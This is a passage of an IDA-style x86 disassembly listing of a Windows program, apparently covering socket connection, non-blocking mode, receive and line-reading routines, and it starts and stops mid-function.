		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A8A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A8B6
; ---------------------------------------------------------------------------


loc_41A8A4:				; CODE XREF: sub_41A7D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A8B6:				; CODE XREF: sub_41A7D0+D2j
		mov	eax, [esi+806h]
		push	eax
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A8D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A8D9:				; CODE XREF: sub_41A7D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_402108
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A960	proc near		; CODE XREF: sub_402108j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A990	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B4F
		retn	0Ch
sub_41A990	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A9C0	proc near		; CODE XREF: sub_401B4Fj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AB24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AB24
		mov	edi, dword_5118AC
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AABC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AABC
		call	sub_40196A
		test	al, al
		jz	loc_41AABC


loc_41AA1B:				; CODE XREF: sub_41A9C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AB24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jz	short loc_41AAAF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AB24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AABC


loc_41AAAF:				; CODE XREF: sub_41A9C0+BCj
		call	sub_40196A
		test	al, al
		jnz	loc_41AA1B


loc_41AABC:				; CODE XREF: sub_41A9C0+39j
					; sub_41A9C0+48j ...
		call	sub_40196A
		test	al, al
		jz	short loc_41AB24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AAF1
		mov	[ecx], eax


loc_41AAF1:				; CODE XREF: sub_41A9C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB09
		test	eax, eax
		jz	short loc_41AB09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB09:				; CODE XREF: sub_41A9C0+134j
					; sub_41A9C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB24:				; CODE XREF: sub_41A9C0+13j
					; sub_41A9C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A9C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABA0:				; CODE XREF: ___:00401622j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41ABF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41ABD2
		mov	[ecx], eax


loc_41ABD2:				; CODE XREF: ___:0041ABCEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABE0
		test	eax, eax
		jz	short loc_41ABE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABE0:				; CODE XREF: ___:0041ABD5j
					; ___:0041ABD9j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABF1:				; CODE XREF: ___:0041ABA9j
					; ___:0041ABB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC20:				; CODE XREF: ___:004019BFj
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AC3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC3C:				; CODE XREF: ___:0041AC32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC52


loc_41AC48:				; CODE XREF: ___:0041AC8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC52:				; CODE XREF: ___:0041AC46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ACB6
		mov	edi, ebp


loc_41AC6B:				; CODE XREF: ___:0041ACB4j
		cmp	edi, ebx
		jz	short loc_41ACB6
		cmp	[esp+18h], bl
		jz	short loc_41ACB6
		call	sub_40196A
		test	al, al
		jz	short loc_41ACB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AC48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ACA1
		cmp	al, 0Dh
		jz	short loc_41ACA1
		cmp	al, bl
		jnz	short loc_41ACA9


loc_41ACA1:				; CODE XREF: ___:0041AC97j
					; ___:0041AC9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ACA9:				; CODE XREF: ___:0041AC9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC6B


loc_41ACB6:				; CODE XREF: ___:0041AC67j
					; ___:0041AC6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD00:				; CODE XREF: ___:004021A3j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AD1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD1C:				; CODE XREF: ___:0041AD12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AD32


loc_41AD28:				; CODE XREF: ___:0041AD6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: ___:0041AD26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD9D
		mov	edi, ebp


loc_41AD4B:				; CODE XREF: ___:0041AD9Bj
		cmp	edi, ebx
		jz	short loc_41AD9D
		cmp	[esp+18h], bl
		jz	short loc_41AD9D
		call	sub_40196A
		test	al, al
		jz	short loc_41AD9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AD28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD7D
		cmp	al, bl
		jnz	short loc_41AD90


loc_41AD7D:				; CODE XREF: ___:0041AD77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD8C
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: ___:0041AD82j
		mov	[edi], bl


loc_41AD8C:				; CODE XREF: ___:0041AD88j
		mov	[esp+18h], bl


loc_41AD90:				; CODE XREF: ___:0041AD7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AD4B


loc_41AD9D:				; CODE XREF: ___:0041AD47j
					; ___:0041AD4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ADE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41ADF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADF2:				; CODE XREF: ___:0041ADEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE03:				; CODE XREF: ___:0041ADFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB951Eh
		nop
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AE30	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41AE42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE42:				; CODE XREF: sub_41AE30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE53:				; CODE XREF: sub_41AE30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AE30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE80:				; CODE XREF: ___:00401C53j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AEBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AEB5
		cmp	[esi+80Bh], cl
		jz	short loc_41AEB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEB5:				; CODE XREF: ___:0041AE9Ej
					; ___:0041AEA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEBF:				; CODE XREF: ___:0041AE99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41AEF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEF5:				; CODE XREF: ___:0041AEE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: ___:004016EFj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF6D:				; CODE XREF: ___:0041AF61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AFA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AFA9:				; CODE XREF: ___:0041AF9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AFF0:				; CODE XREF: ___:00401744j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_4018CAj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B090
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41B090:				; CODE XREF: sub_41B060+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0E0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B110	proc near		; CODE XREF: ___:00401924j sub_401E92j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40187A
		test	[esp+4+arg_0], 1
		jz	short loc_41B128
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B128:				; CODE XREF: sub_41B110+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B140	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43F0C0
		add	ecx, 4
		jmp	sub_401FE6
sub_41B140	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B160	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40196A
		test	al, al
		jnz	short loc_41B172
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B172:				; CODE XREF: sub_41B160+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B1C5
		push	esi
		call	near ptr 71AB4FD4h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B197
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B197:				; CODE XREF: sub_41B160+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B1AC


loc_41B1A1:				; CODE XREF: sub_41B160+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B1A1


loc_41B1AC:				; CODE XREF: sub_41B160+3Fj
		call	sub_401F0A
		dec	esi
		push	esi
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B1C5:				; CODE XREF: sub_41B160+20j
		pop	edi
		pop	esi
		retn	4
sub_41B160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B1F0:				; CODE XREF: ___:004020B3j
		push	0FFFFFFFFh
		push	offset loc_43C007
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40196A
		test	al, al
		jnz	short loc_41B22F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401870
		jmp	loc_41B3DB
; ---------------------------------------------------------------------------


loc_41B22F:				; CODE XREF: ___:0041B218j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401870
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B26C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B26C:				; CODE XREF: ___:0041B256j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B292
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B292:				; CODE XREF: ___:0041B27Cj
		lea	ecx, [esp+18h]
		call	sub_401870
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017EE
		push	eax
		call	sub_4382C2
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B2D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+0Ch], edi
		jmp	loc_41B3C0
; ---------------------------------------------------------------------------


loc_41B2D6:				; CODE XREF: ___:0041B2BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4447F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B2E4:				; CODE XREF: ___:0041B302j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B308
		cmp	cl, bl
		jz	short loc_41B304
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B308
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2E4


loc_41B304:				; CODE XREF: ___:0041B2EEj
		xor	eax, eax
		jmp	short loc_41B30D
; ---------------------------------------------------------------------------


loc_41B308:				; CODE XREF: ___:0041B2EAj
					; ___:0041B2F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B30D:				; CODE XREF: ___:0041B306j
		cmp	eax, ebx
		jz	short loc_41B37B
		push	ebp


loc_41B312:				; CODE XREF: ___:0041B365j
					; ___:0041B369j
		nop
		call	near ptr 27F0C4Bh
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B326
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B36B


loc_41B326:				; CODE XREF: ___:0041B31Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B332
		mov	edi, ebp


loc_41B332:				; CODE XREF: ___:0041B32Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_4447F8


loc_41B33A:				; CODE XREF: ___:0041B358j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B35E
		cmp	cl, bl
		jz	short loc_41B35A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B35E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B33A


loc_41B35A:				; CODE XREF: ___:0041B344j
		xor	eax, eax
		jmp	short loc_41B363
; ---------------------------------------------------------------------------


loc_41B35E:				; CODE XREF: ___:0041B340j
					; ___:0041B34Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B363:				; CODE XREF: ___:0041B35Cj
		cmp	eax, ebx
		jnz	short loc_41B312
		mov	edi, ebp
		jmp	short loc_41B312
; ---------------------------------------------------------------------------


loc_41B36B:				; CODE XREF: ___:0041B324j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015E1
		pop	ebp
		jmp	short loc_41B388
; ---------------------------------------------------------------------------


loc_41B37B:				; CODE XREF: ___:0041B30Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015E1


loc_41B388:				; CODE XREF: ___:0041B379j
		push	offset byte_448F30
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B3A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015E1


loc_41B3A8:				; CODE XREF: ___:0041B398j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	dword ptr [esp+0Ch], 1


loc_41B3C0:				; CODE XREF: ___:0041B2D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B3CE:				; CODE XREF: ___:0041B267j
					; ___:0041B28Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B3DB:				; CODE XREF: ___:0041B22Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B490:				; CODE XREF: ___:00402153j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4D0	proc near		; CODE XREF: sub_401406j ___:00402036j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE0
		test	[esp+4+arg_0], 1
		jz	short loc_41B4E8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B4E8:				; CODE XREF: sub_41B4D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B4D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B500	proc near		; CODE XREF: sub_401BE0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B500	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B570:				; CODE XREF: ___:00401D52j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43F0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B5B0	proc near		; CODE XREF: sub_401686j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B6C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B6C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401492
		mov	ebp, dword_5118D8
		test	al, al
		jnz	short loc_41B613


loc_41B5E9:				; CODE XREF: sub_41B5B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF
		mov	al, byte_4E8E44
		test	al, al
		jz	short loc_41B613
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401492
		test	al, al
		jz	short loc_41B5E9


loc_41B613:				; CODE XREF: sub_41B5B0+37j
					; sub_41B5B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF


loc_41B61E:				; CODE XREF: sub_41B5B0+F9j
